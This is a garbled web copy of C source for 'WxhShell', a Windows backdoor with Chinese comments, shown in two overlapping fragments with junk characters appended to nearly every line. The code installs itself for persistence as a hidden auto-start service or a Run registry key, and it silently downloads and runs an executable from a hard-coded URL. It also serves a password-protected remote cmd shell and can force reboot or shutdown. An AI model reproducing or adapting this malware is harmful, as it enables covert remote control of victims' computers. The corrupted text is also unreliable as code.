    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a@|H6:|  
    else {  ,Zb  
    closesocket(wsh); A[7H-1-  
    ExitThread(0); -C~zvP; a  
    } PlS)Zv3  
    break; -qaO$M^Q  
    } 0#8, (6  
  // 关机 ;]m;p,$  
  case 'd': { :Rv+Bm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D]}~`SO  
    if(Boot(SHUTDOWN)) h^Yh~84T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); se2Y:v  
    else { \aM-m:J  
    closesocket(wsh); myN2G?>;  
    ExitThread(0); "T^%HPif  
    } rCczQ71W  
    break; ,VEE<* 'X  
    } &I8DK).M+  
  // 获取shell Wex2Fd?DO  
  case 's': { ED79a:  
    CmdShell(wsh); U!c+i#:t  
    closesocket(wsh); A- Abj'  
    ExitThread(0); quaRVD>s +  
    break; '<<@@.(f  
  } {^N,$,Ab.  
  // 退出 O#18a,o@  
  case 'x': { &g23tT#P?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WoGnJ0N q  
    CloseIt(wsh); G/},lUzLg  
    break; O-W[^r2e  
    } Q%?%zuU  
  // 离开 p!=8Pq.  
  case 'q': { t1mG]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u t4:LHF  
    closesocket(wsh); K39I j_3  
    WSACleanup(); /.!&d^  
    exit(1); !> +Lre@  
    break; >yn]h4M  
        } lt:&lIW,3  
  } N}7b^0k  
  } 0n`Temb/  
sH2xkUp  
  // 提示信息 XP%_|Q2X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U_gkO;s%  
} *!BQ1 ] G  
  } ;^0ok'P\~9  
047PlS  
  return; Vn{;8hZ :a  
} ^OIo  
^q/^.Gf  
// shell模块句柄 CVkJMH_  
int CmdShell(SOCKET sock) Z`GEF|eh  
{ bf2n%-&9g  
STARTUPINFO si; n7Eh!<  
ZeroMemory(&si,sizeof(si)); BxlhCu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PHI c7*_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *?uUP  
PROCESS_INFORMATION ProcessInfo; ;'V[8`Z@  
char cmdline[]="cmd"; -#/DK   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]:?S}DRG  
  return 0; $E^sA|KcT  
} rDoMz3[w  
1EQ:@1  
// 自身启动模式 Lk#)VGk:  
int StartFromService(void) u #}1 M  
{ V/"RCqY4  
typedef struct ;Wk3>\nT-  
{ 6 ]<yR> '  
  DWORD ExitStatus; +`Nu0y!rj  
  DWORD PebBaseAddress; <[}zw!z  
  DWORD AffinityMask; #<m2Xo?d]  
  DWORD BasePriority; %'e$N9zd  
  ULONG UniqueProcessId; US9aW)8  
  ULONG InheritedFromUniqueProcessId; t!J>853  
}   PROCESS_BASIC_INFORMATION; I/A%3i=H  
g5Io=e@s  
PROCNTQSIP NtQueryInformationProcess; !- QB>`7$  
0k?]~ f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y`-q[F?\y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ebCS4&c  
#EE<MKka  
  HANDLE             hProcess; PlA#xnq#  
  PROCESS_BASIC_INFORMATION pbi; 8L/XZ)  
eS ?9}TG|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); upk_;ae  
  if(NULL == hInst ) return 0; Wrp+B[ {r\  
`}sFT:1&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b.[9Adi >  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }.9a!/@Aj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \vV]fX   
'IIa,']H  
  if (!NtQueryInformationProcess) return 0; D5bi)@G7z  
OT|0_d?bD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  oSy9Xw  
  if(!hProcess) return 0;  Q$`uZ  
BSd.7W;cS=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @RuMo"js  
AOcUr)  
  CloseHandle(hProcess); P()W\+",n  
I D-I<Ev  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hDUU_.q)D  
if(hProcess==NULL) return 0; Y|hd!C-x  
ks%;_~b  
HMODULE hMod; 8 E l hcs  
char procName[255]; 3jJV5J'"  
unsigned long cbNeeded; k6z]"[yu  
\k=%G_W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Oz]$zRu/0  
+CSR!  
  CloseHandle(hProcess); M($GZ~ b%A  
*x p_#  
if(strstr(procName,"services")) return 1; // 以服务启动 D[6sy`5l  
".#h$  
  return 0; // 注册表启动 ~Cynw(  
} e F}KOOfC  
;Q/1l=Bn  
// 主模块 OR+py.vK  
int StartWxhshell(LPSTR lpCmdLine) awQGu,<N  
{ z`\KQx  
  SOCKET wsl; W[Z[o+7pK  
BOOL val=TRUE; p*@t$0i  
  int port=0; j%Uoigi  
  struct sockaddr_in door; ObreDv^,  
\{a5]G(4s  
  if(wscfg.ws_autoins) Install(); Z]k@pR !  
4JO 16  
port=atoi(lpCmdLine);  eBmHb\  
RK$(  
if(port<=0) port=wscfg.ws_port; pTTM(Hrx  
$X\2h+ Os  
  WSADATA data; zO$r   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'T7 3V  
vAeVQ~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~Ij/vyB_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J#3[,~  
  door.sin_family = AF_INET; 017nhI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8o $ ` '  
  door.sin_port = htons(port); 6jm/y@|F!  
u%"5<ll  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;Kg7}4`I  
closesocket(wsl); D97 vfC  
return 1; >X"\+7bw  
} uocFOlU0n  
)g3c-W=  
  if(listen(wsl,2) == INVALID_SOCKET) { fN<Y3^i"  
closesocket(wsl); N0\<B-8+,>  
return 1; b^}U^2S%  
} 6^BT32,'  
  Wxhshell(wsl); -G_3B(]`  
  WSACleanup(); {KEmGHC4R  
H%Lln#  
return 0; m,]9\0GUd  
9 p^gF2?k  
} ZIh)D[n  
cdSgb3B0  
// 以NT服务方式启动 >+!Ef  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EaL>~: j  
{ /Q:mUd  
DWORD   status = 0; e$`hRZ%  
  DWORD   specificError = 0xfffffff; WW^+X~Y  
`P:[.hRu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H<?s[MH[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -2 8bJ,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "d}ey=$h4  
  serviceStatus.dwWin32ExitCode     = 0; Co=Bq{GY  
  serviceStatus.dwServiceSpecificExitCode = 0; u'DpZ  
  serviceStatus.dwCheckPoint       = 0; 8=0I4\  
  serviceStatus.dwWaitHint       = 0; :LdPqFXj  
c"1Z,M;G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x1E;dbOZ  
  if (hServiceStatusHandle==0) return; 0XqxW\8_l  
pNmWBp|ER  
status = GetLastError(); Xi\c>eALO  
  if (status!=NO_ERROR) =WZ@{z9J  
{ ?FR-a Xx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +.|RH  
    serviceStatus.dwCheckPoint       = 0; S9%,{y  
    serviceStatus.dwWaitHint       = 0; *{Z=)k%  
    serviceStatus.dwWin32ExitCode     = status; 42}8es.aa  
    serviceStatus.dwServiceSpecificExitCode = specificError; pW>{7pXn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PQh s^D  
    return; !<~cjgdx  
  } {5d 5Y%&  
=2} kiLKO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qTMY]=(  
  serviceStatus.dwCheckPoint       = 0; p:0X3?IG3  
  serviceStatus.dwWaitHint       = 0; E2>+V{TF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \.Op6ECV9  
} "{t]~urLd  
asCcBp  
// 处理NT服务事件,比如:启动、停止 yg~@} _C2_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n;>=QG -v  
{ *8)va  
switch(fdwControl) 8B(v6(h  
{ Z`ww[Tbv~  
case SERVICE_CONTROL_STOP: k{UeY[,jb  
  serviceStatus.dwWin32ExitCode = 0; b&LAk-}[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O(D2F$VlL  
  serviceStatus.dwCheckPoint   = 0; BIe:7cR%  
  serviceStatus.dwWaitHint     = 0; 39F e#u  
  { =1,1}OucP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]bpgsW:Xu  
  } yq^Ma  
  return; n%4/@M  
case SERVICE_CONTROL_PAUSE: (-&d0a9N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hv\Dz*XTs0  
  break; Y| ch ;  
case SERVICE_CONTROL_CONTINUE: <l5m\A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Cz9MXb]B  
  break; 3hUP>F8  
case SERVICE_CONTROL_INTERROGATE: V RD^>Gi  
  break; MHye!T6fO\  
}; 2\gIjXX"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?N!kYTR%}  
} C4|OsC7J  
X:g#&e_  
// 标准应用程序主函数 'V&Uh]>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x',6VTz^  
{ &`tAQN*Z  
4udj"-V  
// 获取操作系统版本 S'hUh'PZ  
OsIsNt=GetOsVer(); *yjnC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J1~E*t^  
f:J-X~T_f  
  // 从命令行安装 #Q*V9kvU/H  
  if(strpbrk(lpCmdLine,"iI")) Install(); # h4FLF_w  
O7uCTB+  
  // 下载执行文件 uI%7jA~@  
if(wscfg.ws_downexe) { BHZhdm@),  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;YW@ 3F-h  
  WinExec(wscfg.ws_filenam,SW_HIDE); VYO1qj  
} lCl5#L9  
w&Gc#-B  
if(!OsIsNt) { }N$f=:iI  
// 如果时win9x,隐藏进程并且设置为注册表启动 EUQtl_h/H  
HideProc(); d)acWF\  
StartWxhshell(lpCmdLine); / !MKijI  
} &;L=f;   
else ^w<aS w  
  if(StartFromService()) L/] (pXEp  
  // 以服务方式启动 X ,^([$  
  StartServiceCtrlDispatcher(DispatchTable); P t/]Z<VL  
else lI.oyR'  
  // 普通方式启动 DX+zK'34  
  StartWxhshell(lpCmdLine); C_8_sb Z/  
Q>rr?L`  
return 0; cY kb3(  
} >!a- "  
RtpV08s\  
W g6H~x  
iemp%~UZ  
=========================================== $gD8[NAIx=  
z0SF2L H  
.Y^cs+-o  
c:>&YGmhu  
iR88L&U>  
c%gL3kOT  
" Qr 4 D  
bcpsjUiy#  
#include <stdio.h> 5I^;v;F  
#include <string.h> `M 'tuQ M  
#include <windows.h> ~ A=Gra  
#include <winsock2.h> @7C.0>W_A  
#include <winsvc.h> N~l*//Ep  
#include <urlmon.h> P*~ vWYH9  
AovBKB $  
#pragma comment (lib, "Ws2_32.lib") zp<B,Ls  
#pragma comment (lib, "urlmon.lib") k{N!}%*2  
NX.5 u8Pf  
#define MAX_USER   100 // 最大客户端连接数 .8!\6=iJB  
#define BUF_SOCK   200 // sock buffer v:yU+s|kN  
#define KEY_BUFF   255 // 输入 buffer y1Z>{SDiq  
[w|Klq5  
#define REBOOT     0   // 重启 _6ck@  
#define SHUTDOWN   1   // 关机 c1jR j=\  
g,]m8%GHE  
#define DEF_PORT   5000 // 监听端口 J@6j^U  
t H.L_< N  
#define REG_LEN     16   // 注册表键长度 QeuM',6R  
#define SVC_LEN     80   // NT服务名长度 =|ODa/2 p  
[3nWxFz$R  
// 从dll定义API dr:x0>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xo/H+[;X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cy;i1#1rO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s8>y&b.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $D!/v)3  
2b^Fz0 w4  
// wxhshell配置信息 rqqd} kA  
struct WSCFG { &0-oi Y  
  int ws_port;         // 监听端口 JcmJq fR  
  char ws_passstr[REG_LEN]; // 口令 Dm5 Uy^F}  
  int ws_autoins;       // 安装标记, 1=yes 0=no 09jE7g @X}  
  char ws_regname[REG_LEN]; // 注册表键名 LR>s2zu-  
  char ws_svcname[REG_LEN]; // 服务名 !U m9ceK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 shH2/.>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 js5VgP`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tkr&Fs"t+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @*Ry`)T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :W1?t*z:[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .'<K$:8@|  
H${LF.8  
}; Y_+#|]=$B  
'o#oRK{#  
// default Wxhshell configuration QRf>lZP  
struct WSCFG wscfg={DEF_PORT, '6&o:t  
    "xuhuanlingzhe", /[\g8U{5B}  
    1, 1(IZ,*i  
    "Wxhshell", P@vUQ  
    "Wxhshell", L-D4>+  
            "WxhShell Service", ob;|%_  
    "Wrsky Windows CmdShell Service", z06,$OYz  
    "Please Input Your Password: ", /YHO"4Z  
  1, d-+jb<C&  
  "http://www.wrsky.com/wxhshell.exe", o9"?z  
  "Wxhshell.exe" U{M3QOF  
    }; @=dv[P" jn  
72Y 6gcg  
// 消息定义模块 NGl 8*Af   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3,{eH6,O7M  
char *msg_ws_prompt="\n\r? for help\n\r#>";  ,S=[#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rD SYR\cg  
char *msg_ws_ext="\n\rExit."; 9|Jv>Ur=)2  
char *msg_ws_end="\n\rQuit."; &TQ~!ZMOR"  
char *msg_ws_boot="\n\rReboot..."; i l@>b  
char *msg_ws_poff="\n\rShutdown..."; Z6i~Dy3  
char *msg_ws_down="\n\rSave to "; PD.$a-t  
S, AxrQc  
char *msg_ws_err="\n\rErr!"; \j62"  
char *msg_ws_ok="\n\rOK!"; 5 k3m"*  
/u4RZ|&as  
char ExeFile[MAX_PATH]; C`g "Mk8  
int nUser = 0; 3rH}/`d4  
HANDLE handles[MAX_USER]; 8$\j| mN  
int OsIsNt; j2_j5Hgo  
xS/W}-dPv  
SERVICE_STATUS       serviceStatus; %N<5ST>(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hDJG.,r  
bkDVW  
// 函数声明 :QGo -,6-  
int Install(void); tSJ#  
int Uninstall(void); yT@Aj;X0v  
int DownloadFile(char *sURL, SOCKET wsh); h' !C  
int Boot(int flag); ?0qD(cfx<  
void HideProc(void); pS ](Emn`.  
int GetOsVer(void); {jB> ]7  
int Wxhshell(SOCKET wsl); e,e(t7c?d  
void TalkWithClient(void *cs); 'QT~o-U  
int CmdShell(SOCKET sock); kWZY+jyt P  
int StartFromService(void); W{"sB:E  
int StartWxhshell(LPSTR lpCmdLine); ?I[8rzBWU  
lTMY|{9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O?Bf (y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v7 *L3Ol  
nXLz<wE  
// 数据结构和表定义 j}ob7O&U'w  
SERVICE_TABLE_ENTRY DispatchTable[] = 0@-4.IHl  
{ FDLo|aP/v  
{wscfg.ws_svcname, NTServiceMain}, [8sYEh  
{NULL, NULL} KQNQ<OE 4  
}; [q2:d^_FA  
OlRXgJ  
// 自我安装 4@{c K|  
int Install(void) d/Q#Z  
{ F~ 5,-atDM  
  char svExeFile[MAX_PATH]; .))j R:{3  
  HKEY key; 3&^hf^yg  
  strcpy(svExeFile,ExeFile); 7 mCf*|  
"@eGgQ  
// 如果是win9x系统,修改注册表设为自启动 I0 ~'z f  
if(!OsIsNt) { .h=n [`RB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @c]KHWI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {S{%KkAV  
  RegCloseKey(key); rzAf  {2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9Q4{ cB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {fACfSW6  
  RegCloseKey(key); F(ydqgH~a  
  return 0; Hp=BnN  
    } -a)1L'R  
  } A r]*?:4y[  
} ;^xM" {G8  
else { $C7a #?YF,  
+Pl)E5W!=`  
// 如果是NT以上系统,安装为系统服务 :6nD"5(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &Uam4'B6-  
if (schSCManager!=0) bQautRW  
{ HXKM<E{j  
  SC_HANDLE schService = CreateService 6T$=(I <4  
  ( , yltt+ e  
  schSCManager, +fXwbZ?p  
  wscfg.ws_svcname, f-|?He4O]  
  wscfg.ws_svcdisp, KBB)xez8  
  SERVICE_ALL_ACCESS, 4)w,gp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z|n|gxe  
  SERVICE_AUTO_START, r&4Xf# QD6  
  SERVICE_ERROR_NORMAL, =;0-t\w!  
  svExeFile, PG63{  
  NULL, _gqqPny4$  
  NULL, /Y y)=~t{  
  NULL, p [C 9g  
  NULL, 5,gT|4|B\g  
  NULL (&SU)Uvu  
  ); ~6t!)QATnp  
  if (schService!=0) $vu*# .w  
  { %jjPs .  
  CloseServiceHandle(schService); e&z@yy$  
  CloseServiceHandle(schSCManager); 0!3. .5==  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2X\Pw  
  strcat(svExeFile,wscfg.ws_svcname); -H6[{WVW!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m~ ah!QM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  bHG<B  
  RegCloseKey(key); v-z%3x.f  
  return 0; wI|h9q1U  
    } +;~o R_p  
  } kku<0<(N  
  CloseServiceHandle(schSCManager); JI .=y5I  
} _s5^\~ao  
} }"TQ\v$  
[ *Dj:A)V^  
return 1; C~pas~  
} bIiun a\  
J]TqH`MA  
// 自我卸载 oM!&S'M/  
int Uninstall(void) e|{R2z"^  
{ X+]>pA  
  HKEY key; lZ-U/$od  
S3Y.+. 0U  
if(!OsIsNt) { ,N(Yjq"R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nnj<k5  
  RegDeleteValue(key,wscfg.ws_regname); H7tv iSTd  
  RegCloseKey(key); jvB[bS`<H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U)8yd,qG[%  
  RegDeleteValue(key,wscfg.ws_regname); .m]}Ba}J$  
  RegCloseKey(key); pZ>yBY?R8>  
  return 0; _ARG "  
  } BF W b0;+  
} %!nI]|  
}  !vf:mMo  
else { R#hy2kA  
PN93.G(W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vQ*[tp#qU  
if (schSCManager!=0) |qMG@  
{ I #1~CbR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i1uoYb?4(I  
  if (schService!=0) *Mhirz% iD  
  { ~".@mubt1$  
  if(DeleteService(schService)!=0) { I.3~ctzu  
  CloseServiceHandle(schService); LXo$\~M8G8  
  CloseServiceHandle(schSCManager); 9PKXQp  
  return 0; %FYhq:j  
  } 7{}E{/  
  CloseServiceHandle(schService); 7_2D4CI  
  } sg7h&<Xx  
  CloseServiceHandle(schSCManager); =T9h7c R  
} j<~Wp$\i7>  
} 3FR(gr$X  
SQ,-45@W  
return 1; '* y(F*7+  
} j_2g*lQ7a  
TMMKRC1<  
// 从指定url下载文件 _+B y=B.'  
int DownloadFile(char *sURL, SOCKET wsh) P#hRqETw  
{ h]s6)tI I  
  HRESULT hr; XA!a^@<H  
char seps[]= "/"; }%Mdf6LS64  
char *token; M v (Pp  
char *file; SvSO?H!-  
char myURL[MAX_PATH]; xJ$uoy3+  
char myFILE[MAX_PATH]; zTcz+3x  
veq3t$sj  
strcpy(myURL,sURL); A8&@Vxdz  
  token=strtok(myURL,seps); ! :]_-DX  
  while(token!=NULL) #$BFTlm|  
  { }eVDe(7_  
    file=token; 72Bc0Wg  
  token=strtok(NULL,seps); et+lL"&  
  } B9NUafK=  
VF2,(f-*  
GetCurrentDirectory(MAX_PATH,myFILE); IRQtA ZV$  
strcat(myFILE, "\\"); i)e6 U(H  
strcat(myFILE, file); FXBmatBck  
  send(wsh,myFILE,strlen(myFILE),0); "v:k5a(  
send(wsh,"...",3,0); (O J/u)W^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zU!{_Ao9  
  if(hr==S_OK) J`5+Zngr  
return 0; ura&9~   
else Z(6.e8fK  
return 1; "]=OR>  
73X*|g  
} ^}~Q(ji7  
hOB<6Tm[  
// 系统电源模块 n' mrLZw  
int Boot(int flag) Hes!uy  
{ o>M^&)Xs  
  HANDLE hToken; myA;Y  
  TOKEN_PRIVILEGES tkp; 9wR D=a  
z|3v~,  
  if(OsIsNt) { 8j>V?'Szk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S} UYkns*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1!^BcrG.  
    tkp.PrivilegeCount = 1; ~}b0zL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n3$=&   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q$U.vF7BnP  
if(flag==REBOOT) { }BM`4/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >;Hx<FKxP  
  return 0; (X@\2M4@T#  
} qR cSB  
else { HjK8y@j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .fzyA5@l  
  return 0; 7Y@]o=DIc  
} FL\pgbI  
  } ` 1+*-g^r  
  else { (m2%7f.I  
if(flag==REBOOT) { 1SjVj9{:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b<y*:(:  
  return 0; y?UJ <QAi  
} TI3xt-/  
else { 3q4Zwv0z20  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6k0Awcr  
  return 0; XcoX8R%U  
} 9!=4}:+  
} ,5zY1C==Ut  
6kp)'wz`  
return 1; A~Sc ] M  
} (DvPdOT+3  
Y[L,rc/j  
// win9x进程隐藏模块 |5(un#  
void HideProc(void) o+hp#e  
{ !X7z y9  
=k<b* 8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O;4S<N  
  if ( hKernel != NULL ) R^`}DlHX  
  { #"6l+}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :i>LESJq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #tZ!D^GQHq  
    FreeLibrary(hKernel); 5*2hTM!  
  } ?:/J8s [O  
]uFJ~ :R  
return; Gs"lmX-{$j  
} 1 0zM8<bl  
x3Cn:F  
// 获取操作系统版本 8*8Y\"  
int GetOsVer(void) e/Z{{FP%6  
{ vVtkB$]L  
  OSVERSIONINFO winfo; WrwbLlE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mIf)=RW  
  GetVersionEx(&winfo); BsXF'x<U*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P4"BX*x  
  return 1; c),UO^EqV  
  else pRjEuOc  
  return 0; ;s,1/ kA  
} HAE$Np|>a  
J37vA zK%  
// 客户端句柄模块 pm+E)z6Yo  
int Wxhshell(SOCKET wsl) / P@P1l|I  
{ Uot(3p!S6  
  SOCKET wsh; D A=LR  
  struct sockaddr_in client; W\B@0Iso  
  DWORD myID; 1 sza\pR<  
Tg O]q4  
  while(nUser<MAX_USER) W:<2" &7  
{ ,+BFpN'  
  int nSize=sizeof(client); *8qRdI9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RQ|K?^k v  
  if(wsh==INVALID_SOCKET) return 1; Vfd_nD^8oZ  
1y[~xxgE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R|Bi%q|4P  
if(handles[nUser]==0) t@lTA>;U@  
  closesocket(wsh); " AvEo  
else rYPuo  
  nUser++; n.N0Nhd  
  } Kc] GE#~g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &56\@t^  
fR;[??NH  
  return 0; :Hitx  
} x s6!NY  
Y_$!XIJ4  
// 关闭 socket |C./gdq  
void CloseIt(SOCKET wsh) |LIcq0Z  
{ umPN=0u6  
closesocket(wsh); i|H^&$|  
nUser--; ii`,cJl  
ExitThread(0); 'O~_g5kC  
} -;Mh|!yg  
D_F1<q  
// 客户端请求句柄 # .&t'"u  
void TalkWithClient(void *cs) 9_*3xu<7i  
{ s;<]gaonB_  
Q%'4jn?H  
  SOCKET wsh=(SOCKET)cs; ;YokPiBy  
  char pwd[SVC_LEN]; f~?5;f:E  
  char cmd[KEY_BUFF]; Yc[vH=gV}  
char chr[1]; p&(z'd  
int i,j; mtFC H  
+tkm,>s  
  while (nUser < MAX_USER) { #?M[Q:  
p/ZgzHyF  
if(wscfg.ws_passstr) { Y]&2E/oc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A\/DAVnI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Or/YEt}  
  //ZeroMemory(pwd,KEY_BUFF); aAu%QRq  
      i=0; (8S+-k?  
  while(i<SVC_LEN) {  iU{\a,  
>PWDo  
  // 设置超时 :`yW^b  
  fd_set FdRead; !=vsY]  
  struct timeval TimeOut; KdlUa^}D  
  FD_ZERO(&FdRead); %MtaWZ  
  FD_SET(wsh,&FdRead); :q1j?0 {2N  
  TimeOut.tv_sec=8; !k 'E  
  TimeOut.tv_usec=0; A{{rNbCK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z~ q="CA4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0 n{+_   
H5FWk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '&AeOn  
  pwd=chr[0]; V-%jSe<  
  if(chr[0]==0xd || chr[0]==0xa) { o9D#d\G  
  pwd=0; nm|"9|/  
  break; IQ#Kod;)  
  } 5?#AS#TD'  
  i++; .Pe^u%J6F  
    } ,mp^t2  
U z)G Y  
  // 如果是非法用户,关闭 socket 0rDQJCm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <aMihT)dd  
} 's8LrO(=  
wXeJjE%j:3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =6'D/| 3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $xcU*?=K  
%E":Wv  
while(1) { ac43d`wpK  
yW(A0  
  ZeroMemory(cmd,KEY_BUFF); @`sZV8  
z[+pN:47  
      // 自动支持客户端 telnet标准   A{eh$Ot%  
  j=0; KH$o X\v  
  while(j<KEY_BUFF) { d$D3iv^hyx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yrMakT=  
  cmd[j]=chr[0]; ui*CA^ Y  
  if(chr[0]==0xa || chr[0]==0xd) { Ag]Hk %  
  cmd[j]=0; q>a/',m  
  break; 7&dPrnQX=  
  } "aGpC{  
  j++; h_t<Jl  
    } o[G,~f\-  
M)nf(jw#G  
  // 下载文件 IrP6Rxh  
